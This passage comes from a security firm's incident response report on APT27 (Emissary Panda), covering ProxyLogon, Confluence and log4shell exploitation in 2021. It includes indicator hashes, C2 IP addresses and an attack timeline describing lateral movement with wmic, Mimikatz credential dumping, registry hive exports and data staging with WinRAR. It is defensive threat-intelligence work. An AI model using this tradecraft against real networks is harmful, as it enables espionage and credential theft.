3c8dfd965f4e583ec971b5953edfb2a4bda029425599c35e103dc364fdb57b9c 3ca85ff1cbca6672fcdcb483fccb977bc787affaecfb9983ee3b0c5e7fdef0d2 3dc4f9d2083667acf1e83dfd8f1535c068c51f0a5b9f5db808a4c0227d0d9d7a 3f040f17ea9f87b48558f79121165c12e06c5f1707ee8f7492cd99886b459378 4436c961470f4a552bc819976a934aba24de853fa91b8d9fc8c0009665f7aadb 4ca207f0c1b6fd5dc7f25e54f83d2b63cda4d909661fe8378cfae2ea7c55b289 4d353eff55d4b51540215af44063aa5ef2e4d2cd6764eb124291e6beb0303550 6510bd08678f5c63a962bf1f68b8c34c648ac53fbea25392c61d6d576923ac41 65ea6ec4ff174c62992f6304ebf1356fad6497fb48db90d2c6af5654d49f08f3 669fe38efa1bc5a3b0aa0b4637434371d2309875015112068eb58ec4b8eb2e64 6c39d97e44cef085eae55e89ea966ce47251b96d2b842021685ef347425d2326 707ddb9b4c5bf3a2a7a2c04cb41ebbfb631e0ac6005dbfe586825e0ea86f40bf 75c366e900351f64681f9dffc379f2c7f2d4c7a83ab37d94ea9e61bb8696f86a 79db4a9260d6cfe7b704f4e665a98c9f4ebc5da648926cdd589190ae089c229e 847a5fcc43979cb7bcbac38838ca2d0e219ba55262aea7100dffc4e433d69e7a 8f6c8467d38ff5ee3f3d962efb065099358693910dee6eaf8d9a9db56163e16c 8fd99e69ab51c12a99a6bdd59192807d9b082e25a25d511f8c2296f93b0f8b79 93a05f94a649f56a46a94cc3230003757e9e08905c78080ee56b4f920a40d8c2 984f88df411ff2ee8f6d75a45c0d86b7a17622db5312970f7cdde42fc18517d5 9e5a482663a5d238c41d2a2284239a7c217c568a3dbfd417e71e12a80db2ea0a a624844a5f8a18200ec248814b9e19fc57f2b0e31ca002f3293be72c1c7a5479 a6a548e551c51535faca671f15c3a828d7fc9ce98befddb7c22c378d2bba7ada aafb980a962a96e4c383502788fe960f1e185b9351d91300a72eb03859e4d902 adb2e638d4e53b8bafbded625aaff8e70cc391f30c3a6f469c39b794c7822cbb b30c159531295f7d4594e3620f7ad13537656ca45e4fd617dce5266bac5e14f3 b501a2aa82219c485813a8e50dae14046f22ed7f36a06b5fe6f5b9778d569072 b70151afffe4ad4289c436306ca868b9d839dc9b5d49104ed20fb95465a8068b bd979176dc3e2f094f226889c8b7e520feb1d5f2869a360354baad679f10b7b7 c4097125684bd24aa5b7afa63301d554abf09e33b952ec358a369b3b2ba21556 c432d07480c0881fd60b786500b119c8fb6848e7909863a1fc20a6652cd4c8b8 c59815e52eb12f6e9286235e2ed4b9650bdc3a4eaf7bc78221bd69ee95a2b1f9 d3bbe6999af3d3129f0a2520b26e04bdfa1bf1b19e99f2fb6d5397e4a33cba4a d42fe1956351a858b9d69660da4d54ae1ccffab9af93014cc69bbeef2767b105 d4cc2031f70de07060f84569a2eb2d43b5063da01c8406bf59a17767752da0c8 db32548e62eea0dbd2033d9fe9d4b826a6adf9ad92533d12b430fd0918bcd6d3 db3cd325b38fabd205bb8eb0a143df3e8e244b6265369230097946b4127b57a2 ddfbf0c97aa640d3bc28f8dcf40ae16835e27a376d2bf0c4319ab15feac84dc4 e11849d7e36a9d96aa2a643b54d270d84dccf0d299013a6308861df835ecaca0 e238ce16838f07f5d28fe7261437f340c3dddbc4d1c5b0dfebec6b3458602df7 e2fb0a6ed6fe0ee946bec6eadc1e71f0d3564a8a00e97ec6542e91e642b5b5e3 ea37ef8479c0586e2e60031a97eeba355d13d4682d9bdd8c19cc8a2fd8ef784f eab49dfbdd419adfbc4e987c5704c1f58ffa19780915cb63058f2d4b8d0222bc f06307d3e03e4533257b7d98dcc2d04548299bbe01aa5a01d9c0389899c761e0 faf2c76bd553223dc6d84917ed02b7abf5a88b79a267d5494fd04521e5e6ea4f fba36a40d7e038e493385a5efea1f416d86d9c0804f1961f1b4c28baf0eace28
Contact HvS-Consulting AG Parkring 20 85748 Garching bei Mnchen Germany Phone: 49 89 890 63 62 0 E-Mail: incidentresponsehvs-consulting.de https://www.hvs-consulting.de HvS-Consulting AG Incident Response Report The APT Fallout of Vulner- abilities such as ProxyLogon, OGNL Injection, and log4shell Date:          14.02.2022 Version:          1.0 Classification:   TLP-White mailto:incidentresponsehvs-consulting.de https://www.hvs-consulting.de/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 1 of 38 CONTENTS OF THIS REPORT ABSTRACT .......................................................................... 1 THE CHANGING THREAT LANDSCAPE IN 2021 ..... 2 1 Just Another Incident Response investigation?
.
2 2 The Major Vulnerabilities in 2021 .......................... 3 3 A Spotlight on the Role of APT Groups .............. 6 4 Lessons Learned from 2021 .................................... 8 INSIGHTS INTO AN EMISSARY PANDA ATTACK .
10 5 Timeline of the Attack .............................................10 5.1 Phase 1: Initial Compromise ......................................... 12 5.2 Phase 2: Persistence ....................................................... 13 5.3 Phase 3: Reaction and Last Data Exfiltration ........... 13 6 Description of Observed TTPs ............................. 14 6.1 Resource Development ................................................. 15 6.2 Initial Access ...................................................................... 15 6.3 Execution ............................................................................ 15 6.4 Persistence ......................................................................... 16 6.5 Privilege Escalation .......................................................... 17 6.6 Defense Evasion ............................................................... 17 6.7 Credential Access ............................................................ 19 6.8 Discovery ............................................................................ 19 6.9 Lateral Movement .......................................................... 20 6.10 Collection .......................................................................... 20 6.11 Command and Control.................................................. 21 7 OSINT analysis of C2 infrastructure ................... 22 8 Malware Analysis of HyperBro............................. 23 8.1 Overview ........................................................................... 23 8.2 PE Loader .......................................................................... 24 8.3 Capabilities ....................................................................... 28 8.4 HyperBro Configuration Extractor ............................. 30 9 Detection of Emissary Pandas activities ............. 31 9.1 Indicators of Compromise (IOCs) ............................... 31 9.2 YARA Rules ....................................................................... 34 9.3 Defender Detection Rules ............................................ 36 THE TWO EMPHASES OF THE REPORT THE CHANGING THREAT LANDSCAPE IN 2021 A summary of our observations of the threat landscape in 2021, the activities of APT groups, and derived recommendations for your cyber security strategy.
Start reading on page 2.
INSIGHTS OF AN EMISSARY PANDA ATTACK Here you find a lot of technical details like the timeline, TTPs, IOCs of an Emissary Panda attack, including our malware analysis results of their HyperBro malware.
Start reading on page 10.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 1 of 38 ABSTRACT ProxyLogon (Hafnium) in Exchange, OGNL injection in Confluence, log4shell in the log4j library.
2021 was rife with critical vulnerabilities.
They were exploited by ransomware gangs and hackers for mining crypto currencies.
But where have the professional spies, the APT groups been?
Did they miss such opportunities and take a vacation from cyber warfare?
Surely they didnt.
And we have collected evidence.
The benefactors of the scatter fire The APT group Emissary Panda (also known as APT27, LuckyMouse) has exploited the Microsoft Exchange vulnerability ProxyLogon, often publicly referred to as Hafnium vulnerability, to carry out targeted industrial espionage.
The particularly perfidious aspect of this is that they intentionally acted like ordinary hackers in order not to trigger a comprehensive analysis and remediation.
With great success.
We analyzed several incidents and found that some customers did not seriously follow up on a ProxyLogon compromise because at first glance it looked like an attack by an occasional attacker.
This is how Emissary Panda (APT27) managed to run through the classic APT kill chain and steal trade secrets undetected for months.
Our report not only provides background and details on the process, the TTPs and the IOCs, but also initial evidence that the OGNL injection in Confluence was and is also being of interest for targeted industrial espionage.
The same applies for log4shell.
Strategies for Cyber Security 2022 The effects of the global vulnerabilities from 2021 will only gradually come to light.
We have to assume that numerous APT and other compromises by ProxyLogon (Exchange), OGNL injection (Confluence) and log4shell (Log4j) are still undetected.
Especially for log4shell, the typical detection period of three to six months has not even been reached yet.
In addition, global vulnerabilities will again come to light and be exploited in 2022.
Anything else would be close to a miracle.
Companies are therefore well advised to prepare for this.
We have the following recommendations based on our experience and findings, which are described more in detail in section Lessons Learned from 2021 on page 8.
Prediction Subscribe to advisory feeds Asset management rules Take care of your CMDB Take any compromise seriously Protection Patch critical vulnerabilities immediately Create a plan B like BCM Readiness saves time and money Every critical vulnerability is equally important Detection/Response Only pros help against pros The mean time to detect (MTD) must be reduced Thinking outside the box If you want to share just the summary with your management, you will find it also short and concise on our webpage: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/ https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 2 of 38 THE CHANGING THREAT LANDSCAPE IN 2021 1 Just Another Incident Response investigation?
In October 2021, one of our customers was notified by a government agency about suspicious activities on their network.
Command and Control (C2) traffic and data exfiltration was allegedly observed.
After a quick analysis of the firewall logs, the customer was able to verify the suspicion and realize that the traffic had started several months earlier.
As a result, the customer decided to investigate further and ask HvS to conduct a situation assessment.
In the first step of the investigation, ten internal systems with C2 traffic were identified and compromise scans of them were performed.
These scans proofed a clear compromise of these systems and the presence of HyperBro, a Remote Access Tool (RAT), and other typical attack traces.
A comprehensive Incident Response (IR) was then initiated with the goal of analyzing the entire infrastructure to determine the level of compromise, identify the entry vector, uncover the actors tactics, techniques, and procedures (TTPs), assess the impact, and finally plan remediation actions.
Up to this point, this case was a normal Advanced Persistent Threat (APT) incident with common TTPs.
The case became interesting when we correlated the Indicators of Compromise (IOC) of this incident with the IOCs of our previous incidents.
This correlation led to unexpected matches between incidents that at first glance appeared to be unrelated, which is described in more detail in section A Spotlight on the Role of APT Groups.
One of the first defensive measures was to deploy an Endpoint Detection and Response (EDR) tool on all endpoints.
This was to increase visibility and provide capabilities for containment and response, which later proved to be crucial.
While preparing for remediation, the actor began collecting data again, using the domain administrator privileges it had previously gained.
This allowed near real-time countermeasures by the IR team, which are described in detail in Phase 3: Reaction and Last Data Exfiltration.
These countermeasures bought management the time to decide on a complete cut-off from the Internet until remediation was finished.
The collected IOCs from the forensic analyses, OSINT searches, the observed TTPs, and analogies between the RAT and the HyperBro malware pointed to an attribution to the Emissary Panda1 group, which was also consistent with the authorities previous assumption.
One of the most interesting facts was the determined entry vector: all identified traces date back exactly to March 04, 2021, the day when the large-scale exploitation of the ProxyLogon vulnerability started.
The first system to show C2 traffic was the Exchange server, and within less than an hour, additional systems were affected.
While the Exchange Server compromise was detected in March and the system was recovered during that time, the other infected systems were not detected, leaving the door open for the actor.
The entire sequence of events leads to the assumption that the exploitation of ProxyLogon in this case was not an opportunistic attack.
When asked by the customers top management if they could imagine being on the short list of a Chinese actor, they indicated that they were aware of this risk.
1   https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 https://attack.mitre.org/groups/G0027/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 3 of 38 2 The Major Vulnerabilities in 2021 As in every year, many vulnerabilities were discovered in 2021, for which vendors released hotfixes, administrators hopefully applied them, and security personnel reviewed infrastructure for successful remediation.
Meanwhile, hackers developed exploits and used them to compromise the remaining vulnerable systems and gain an advantage.
Business as usual?
However, one thing has changed in the last year: The quality of some discovered vulnerabilities was outstanding in terms of the software affected, the ease of exploitation and impact, and the frequency of occurrence was higher than ever before.
However, things have also changed on the attackers side: Some of these vulnerabilities were discovered not with good intentions by security researchers.
They were searched for in order to use them for attack campaigns.
This resulted in exploits being available early and widespread exploitation by various actors, sometimes even before the affected organizations could react.
Looking back at 2021, the following vulnerabilities, among others, immediately come to mind: Microsoft Exchange was affected by several security vulnerabilities in 2021, which became very critical mainly due to chaining them in attacks.
In March 2021, ProxyLogon2, often publicly referred to as Hafnium, was finally made public, while rumors of targeted exploitation had already existed since November 2020.
Immediately following the disclosure, a previously unseen wave of widespread exploitation followed before most organizations could respond and some were not even aware of the vulnerability.
During this time, we analyzed 84 Microsoft Exchange instances from various customers with our preferred APT scanner THOR3 and found that 96 of them were scanned for ProxyLogon and in 44 of the cases the vulnerability was also exploited.
2 CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 3 https://www.nextron-systems.com/thor/ Figure 1: Scanning and exploitation of ProxyLogon in Germany.
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065 https://www.nextron-systems.com/thor/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 4 of 38 ProxyLogon was just one vulnerability in a whole series of vulnerabilities that put Exchange environments at risk.
There were also ProxyOracle, ProxyShell, ProxyToken, and other Remote Code Execution (RCE) vulnerabilities4 with publicly available exploits, as this collection shows: https://github.com/FDlucifer/Proxy-Attackchain.
We received some customer requests to analyze compromised Exchange servers, claiming to have fixed the ProxyLogon vulnerability and not being able to explain how this could happen.
Remarkably, the attention of administrators, security experts and the trade press decreased from vulnerability to vulnerability - despite vendor advisories, available exploits, and warnings about active abuse.
The Exchange issue became annoying, we heard more than once I just cant patch Exchange anymore and reports about it were no longer clickbait.
In August 2021, Atlassians Confluence was affected by an easy-to-exploit RCE vulnerability5 due to a OGNL injection.
Shortly after the disclosure, ready-to-use exploits were available, and widespread exploitation attempts were observed on the Internet.
In this case, many publicly accessible environments were also compromised.
In contrast to ProxyLogon, we received comparatively few requests for proactive analysis, but more requests for post-breach analysis.
The RCE vulnerability in the widely used Java library log4j6, also known as log4shell, once again generated a lot of attention on the part of defenders and attackers in December 2021.
Again, it took only a few hours before the first widespread scans for affected systems and exploitation attempts began.
With the previously mentioned vulnerabilities, it was easy to assess whether an organization was affected, and the scope of analysis was limited to individual systems.
In the case of log4shell, on the other hand, the effort was higher, and especially the proof of successful exploitation was laborious, as it had to be provided for each system individually7.
Since it was close to Christmas and many employees were already on vacation, some organizations decided to fix the vulnerability as part of their regular patch cycle and hope that they would not fall victim to an attack.
Even though the number of attacks has decreased in early 2022, we and many other security experts8 believe that there are still many undiscovered vulnerabilities whose impact will only become apparent in the coming months, and that many applications will remain vulnerable for a long time.
4 ProxyOracle: CVE-2021-31196 and CVE-2021-31195 ProxyShell: CVE-2021-34473, CVE-2021-34523 and CVE-2021- 31207 ProxyToken: CVE-2021-33766 another RCE CVE-2021-42321 5 CVE-2021-26084 6 CVE-2021-44228 and CVE-2021-44832 7 https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/ 8 https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/ https://github.com/FDlucifer/Proxy-Attackchain https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321 https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-44832 https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/ https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 5 of 38 Figure 2: Timeline of release, global attention, and breach detection of selected vulnerabilities in 2021.
Looking at the various players who were looking for, and in some cases abusing vulnerable systems, four categories can be distinguished based on their motivation and impact: As usual, many security researchers have tried to map the attack surface and/or to warn the affected organizations.
Even if they do not compromise systems during scanning, they leave traces.
Operators must spend time to figure out the intent of the attack attempt.
The largest group were script kiddies and hobbyists who tried to exploit these vulnerabilities for fun or to achieve certain smaller goals like deploying crypto miners or web shells9.
Since they usually do not try to move laterally, the impact was limited to the compromised system.
The group with the most attention were opportunistic cybercrime gangs, especially ransomware groups, or professional hackers with the goal of sabotaging and extorting organizations or placing backdoors and selling access to companies on the black market.
In case of successful ransomware attacks, high financial and business impact was caused.
But there is a fourth group, often overlooked, that has benefited from the scatter fire of the previously mentioned attackers: APT groups and advanced hackers.
Because their attacks are more targeted, the total number of attacks is lower.
The number of unreported cases is also much higher, as the impact is not as obvious to the public as in the case of ransomware.
The actual impact through stolen information and intellectual property is also difficult to assess.
Since many victims are not aware of the risk of becoming victims of espionage, APT groups are often underestimated as actors.
9 IOCs from a ProxyShell exploitation: https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 6 of 38 3 A Spotlight on the Role of APT Groups Based on the knowledge that APT groups also exploited these vulnerabilities, which is not at all surprising, we conducted more in-depth research and correlated IOCs with related IR engagements.
In doing so, we made an interesting observation.
ProxyLogon played a special role among last years high-profile vulnerabilities, as it was not only widely abused by APT groups.
The more prominent name Hafnium is not derived from the metal, but from the APT group Hafnium.
Shortly after the critical vulnerabilities in Microsoft Exchange became public, there were many reports about APT groups actively abusing this flaw: Hafnium10, which is suspected being first in detecting and exploiting those vulnerabilities11: Emissary Panda12, whose activities we describe in more detail in this document.
Fancy Bear13, which is known to attack Microsoft Exchange instances for a long time14 and recently new activities in Germany were observed.
Tick, Calypso, Websiic, Winnti Group15 and a not precisely specified Iranian government-sponsored APT actor16 and certainly, many groups more.
As for the critical RCE in Confluence, the situation seems to be completely different.
If you search reports, blogs, and other security feeds, you will mainly find information about abuse to deploy crypto miners.
For the time being, we can confirm this observation, as we have also found this behavior in various investigations of compromised Confluence servers.
In addition, there are single reports that ransomware groups also occasionally abuse this vulnerability.
To our knowledge, there have been several instances where attackers exploited this vulnerability shortly after its disclosure, installed RAT tools, and waited for a highly privileged administrator to log in.
Once control over the infrastructure was established, all the victims systems were started to be encrypted.
So far, nothing has been found in the public about the connection between APT groups and the use of the OGNL injection vulnerability to gain a foothold in victims infrastructures.
During malware analysis of the Emissary Panda incident mentioned earlier, we found an additional C2 IP in the configuration.
This IP has never been reported as malicious or abused and appears to be part of Emissary Pandas dedicated infrastructure and not a compromised third-party system.
10 https://attack.mitre.org/groups/G0125/ aka Operation Exchange Marauder 11 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ 12 https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 13 https://attack.mitre.org/groups/G0007/ aka APT28, Sofacy, Pawn Storm, Strontium, Tasr Team 14 https://attack.mitre.org/techniques/T1190/ 15 https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/ 16 https://www.cisa.gov/uscert/ncas/alerts/aa21-321a https://attack.mitre.org/groups/G0125/ https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://attack.mitre.org/groups/G0027/ https://attack.mitre.org/groups/G0007/ https://attack.mitre.org/techniques/T1190/ https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/ https://www.cisa.gov/uscert/ncas/alerts/aa21-321a HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 7 of 38 Thanks to the detailed tracking of all IOCs of our incidents in a MISP17, the correlations between the events were easily identified due to the C2 IP.
These events belong to analyses of compromised Confluence servers that were previously performed and revealed crypto miner infections, but no evidence of RATs or lateral movement.
In a few analyses, we identified this IP as a node scanning for vulnerable Confluence systems.
Knowing that this IP is part of Emissary Pandas infrastructure and was rarely used in their campaigns suggests that Emissary Panda was also scanning for vulnerable Confluence instances.
Thus, the tactic of flying under the radar was a complete success.
Figure 3: Correlation of a so far unknown Emissary Panda C2 IP to IR engagements of compromised Confluence servers.
In contrast, the log4shell vulnerability in log4j received more attention from the security community, IT organizations, and the press - not just the specialist press.
But all kinds of attackers were also attracted to this vulnerability.
One reason for this could also be that the effort required to identify and mitigate the vulnerability is much higher for the affected organizations, making it more likely for attackers to benefit from exploitation capabilities over a longer period.
Reports and alerts were published very quickly18, reminding again to take preventive measures, as almost the same APT groups as ProxyLogon were seen actively exploiting the vulnerability: Hafnium Emissary Panda19 Charming Kitten - an Iranian government-sponsored actor And many groups more Although there have not yet been any incident response deployments where the entry vector has been identified as a log4shell misuse, we expect this to happen within the next few weeks or months, which is still the average time to breach discovery.
17 https://github.com/MISP/MISP 18 https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and- turkey/ and https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw 19 https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/ https://github.com/MISP/MISP https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/ https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/ https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 8 of 38 4 Lessons Learned from 2021 Looking ahead to 2022 and the following years, we do not assume that there will be fewer critical vulnerabilities and attacks.
Rather, the opposite will be the case Therefore, every organization must think about how it is going to deal with the threat situation in the future.
Prediction: It becomes more and more important to be in front of the wave This can be achieved by implementing mechanisms that provide early warnings about newly discovered vulnerabilities, remediation actions, and hotfixes.
The most reliable source are the manufacturers advisory feeds, since relying on the specific press or warnings from authorities naturally entails a certain time delay and should therefore only be the fallback solution.
In order to quickly assess whether and to what extent you are affected by a vulnerability, a good knowledge of your infrastructure and especially the publicly accessible parts - regardless of whether they are on-premises or in a cloud - is crucial, i.e., a well-filled Configuration Management Database (CMDB) / asset management is a must.
In addition, it is helpful to be aware of the threat situation, incorporate it into your risk analysis, and plan appropriate countermeasures.
While any company can fall victim to opportunistic cybercrime, assessing the likelihood of targeted attacks is more difficult.
Despite all the challenges, it is negligent to ignore these risks.
Even if protection against targeted attacks is not the primary goal, early implementation of protective measures is an investment in the future, as cybercriminals often mimic the TTPs of APT groups.
Protection: Defined processes and workflows for rapid reaction are key In order to be able to act quickly in the event of a newly discovered threat, a coordinated and tested processes must be in place.
While normal patch management processes often allow a grace period of a few days or even several weeks before patches must be applied, emergency processes must be in place to react within a few hours in such cases.
A patch is not always immediately available or applicable, so a range of containment measures must be prepared, for example in the case of ProxyLogon, which blocks Internet access to Outlook Web App and ActiveSync.
The impact on business processes must be considered, and appropriate Business Continuity Management (BCM) plans with decision criteria and authorities must be defined.
Especially when critical business services are affected, it is difficult to make the decision between business impact and IT infrastructure compromise without being prepared.
Another important aspect is to be able to act at any time.
Many vulnerabilities become known shortly before the weekend or during the vacation season.
Attackers are distributed all over the world and sometimes specifically wait for such off-peak times.
You must be able to react to a changed threat situation at any time - both on the technical and on the management level.
As the handling of ProxyOracle, ProxyShell, and to some extent the Confluence vulnerability has shown, the resources of many IT departments were overloaded, which delayed remediation or even led to resignation.
As with operational incidents, time reserves must be planned for security incidents, both in the security teams and in IT.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 9 of 38 Not all attackers exploit vulnerabilities immediately, sometimes they wait until the first waves are over and thus the attention dies down.
Even if there are no exploits available for every vulnerability or active exploitation has been observed, the reverse conclusion does not apply here that these are less critical.
Every high-rated or critical vulnerability must be equally important to you.
Detection and response: Be prepared for the next high-profile vulnerability Capabilities are needed to determine appropriate strategies and techniques for detecting potentially compromised assets, identifying exploitation attempts, evaluating whether they have been successful, and recommending next steps or even directly initiating forensic investigations.
Such capabilities should be considered sovereign tasks, as the resources of security service providers are also limited.
Similar events such as ProxyLogon or log4shell may cause bottlenecks, especially if no contracts have been concluded beforehand.
The average time to detection of successful attacks needs to be shortened, as huge spread and damage can occur within a period of three to six months.
For opportunistic attacks, the time periods are much shorter, but the past has shown that with a quick and rigorous response, even ransomware attacks can successfully be stopped before encryption begins.
If systems have been compromised or suspicions have been raised, a thorough analysis of the level of compromise of the entire environment is critical.
At a minimum, the analysis objectives must be Can the known IOCs be detected on other systems?
What credentials may have been exposed and has data been exfiltrated?
If you underestimate this step, you may miss the chance to get ahead of the attackers and stop them at the beginning of the attack chain, as the following sections show.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 10 of 38 INSIGHTS INTO AN EMISSARY PANDA ATTACK 5 Timeline of the Attack The attack can roughly be divided in three phases.
The first phase was the initial compromise and achievement of objectives.
The objectives included the privilege escalation and espionage of intellectual property.
The second phase was the persistence phase, which lasted for seven months.
In the final phase, the attackers changed their persistence strategy from Phase 2 and attempted to exfiltrate data again.
This was likely a reaction to a detection of an attack to another company with the same IOCs.
Figure 4: Attack Phases The following table describes the timeline of the attack with anonymous hostnames.
The timestamps were converted to UTC0.
The Attacker column describes which resource (IP, compromised system, etc.)
the attacker uses, and the Target column describes the system, which is targeted by the activity.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 11 of 38 Timestamp20 Target Attacker Comment Phase 1 2021-03-04 07:40 EX01 104.168.236.46 C2 communication between Exchange Server and C2 IP address 2021-03-04 08:36 Client01  Drop and execution of HyperBro backdoor on a client system 2021-03-04 08:36 Client01 104.168.236.46 Beginning of C2 communication 2021-03-04 08:39 FS01  Drop and execution of HyperBro backdoor on File server system 2021-03-04 08:39 FS01  Creation of a Windows Service for persistence 2021-03-04 08:39 FS01 104.168.236.46 Beginning of C2 communication 2021-03-04 14:40 FS01  Creation of Rar.exe on FS01 2021-03-07 18:03 APP01 104.168.236.46 First C2 communication of APP01 Phase 2 2021-04-23 15:57 Intranet  Drop and execution of HyperBro backdoor on Intranet server 2021-04-23 16:02 APP02  Drop and execution of HyperBro backdoor on Database of APP01 2021-04-23 16:03 APP02 104.168.236.46 First C2 communication of the Database System APP02 2021-08-19 10:30 APP01 87.98.190.184 C2 communication of APP1 Phase 3 2021-10-18    Attacker changed DNS Domain entry to 127.0.0.1 2021-10-18 21:46 APP01 APP02 87.98.190.184 C2 communication of APP01  APP02 2021-10-31 06:31 APP03 87.98.190.184 C2 communication 2021-10-31 18:50 APP04 APP01 Lateral Movement 2021-10-31 18:53 APP04 87.98.190.184 C2 communication 2021-11-09 15:59 FS01 Intranet Reconnaissance with wmic and tasklist 2021-11-09 16:03 FS01 Intranet Remote creation of batch script with wmic 2021-11-09 16:05 FS01 Intranet Remote creation of Rar.exe (WinRar) 2021-11-09 16:06 FS01 Intranet Begin of targeted collection by executing Rar.exe remotely via wmic 2021-11-09 16:09  APP05 Reconnaissance with net.exe 2021-11-09 16:25  FS01 Local execution of Rar.exe 20 All timestamps in this report are given in UTC0 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 12 of 38 Timestamp20 Target Attacker Comment 2021-11-09 16:38  FS01 Creation of first Rar package for exfiltration 2021-11-09 16:48 FS01 APP05 Testing of different credentials in net use command for mounting the IPC share 2021-11-09 16:53  APP02 Execution of Mimikatz 2021-11-09 16:54  APP02 Exports of Registry (SAM, SYSTEM, SECURITY) 2021-11-09 16:58  APP02 Packaging of Registries with Rar.exe 2021-11-09 19:28 FS01 APP02 Another try of targeted collection by executing Rar.exe locally but by specifying remote shares in the command Internet Cutoff and Remediation 5.1 Phase 1: Initial Compromise Figure 5 provides a simplified overview of the attack, the C2 channels, and the compromised systems.
Figure 5: Attackers course of action during Phase 1.
The first known activity of the attack occurred on 04.03.2021 at 07:40 (UTC0) with the first communication from the Exchange Server (EX01) to a known C2 IP address of the attacker.
It is assumed that the initial compromise occurred shortly before this event.
Since the first C2 communication originated from the Exchange Server, and the event occurred very close to the first disclosure of the ProxyLogon vulnerability by Microsoft, the initial access vector is assumed to be ProxyLogon.
About an hour after the initial compromise, Emissary Panda moved laterally to the file server as well as to a client.
On both of these systems the HyperBro backdoor was dropped, as described in Section 8.
On the same day, a file with the name Rar.exe was created on the server fileserver.
The fact that the fileserver was the first target, and the creation of Rar.exe, support the thesis that the main objective of the attack was espionage of intellectual property.
With full access to the fileserver the objectives were fulfilled in the first days of the attack.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 13 of 38 5.2  Phase 2: Persistence After the objectives of initial access and data exfiltration were fulfilled, the next objective of this APT was persistence and remaining undetected (long-term access).
These objectives were achieved in Phase 2 of the attack, which lasted from 08.03.2021 to 18.10.2021.
During this time, only sparse activity from Emissary Panda was identified.
The activity includes regular beaconing to C2 addresses.
Furthermore, irregular lateral movement to new systems was identified.
This was probably performed to strengthen their persistence and protect their access against system replacements.
At least two new systems were compromised during Phase 2.
5.3  Phase 3: Reaction and Last Data Exfiltration In the last phase of the attack, something tipped Emissary Panda of, and they started to change their behavior.
Our best guess is that they noticed responsive actions in other attack campaigns using the same C2 infrastructure.
Since the first activity in this phase was on 18.10.2021, and our IR Kick-off was in the following week, it is unlikely that we tipped them of at this point in the attack.
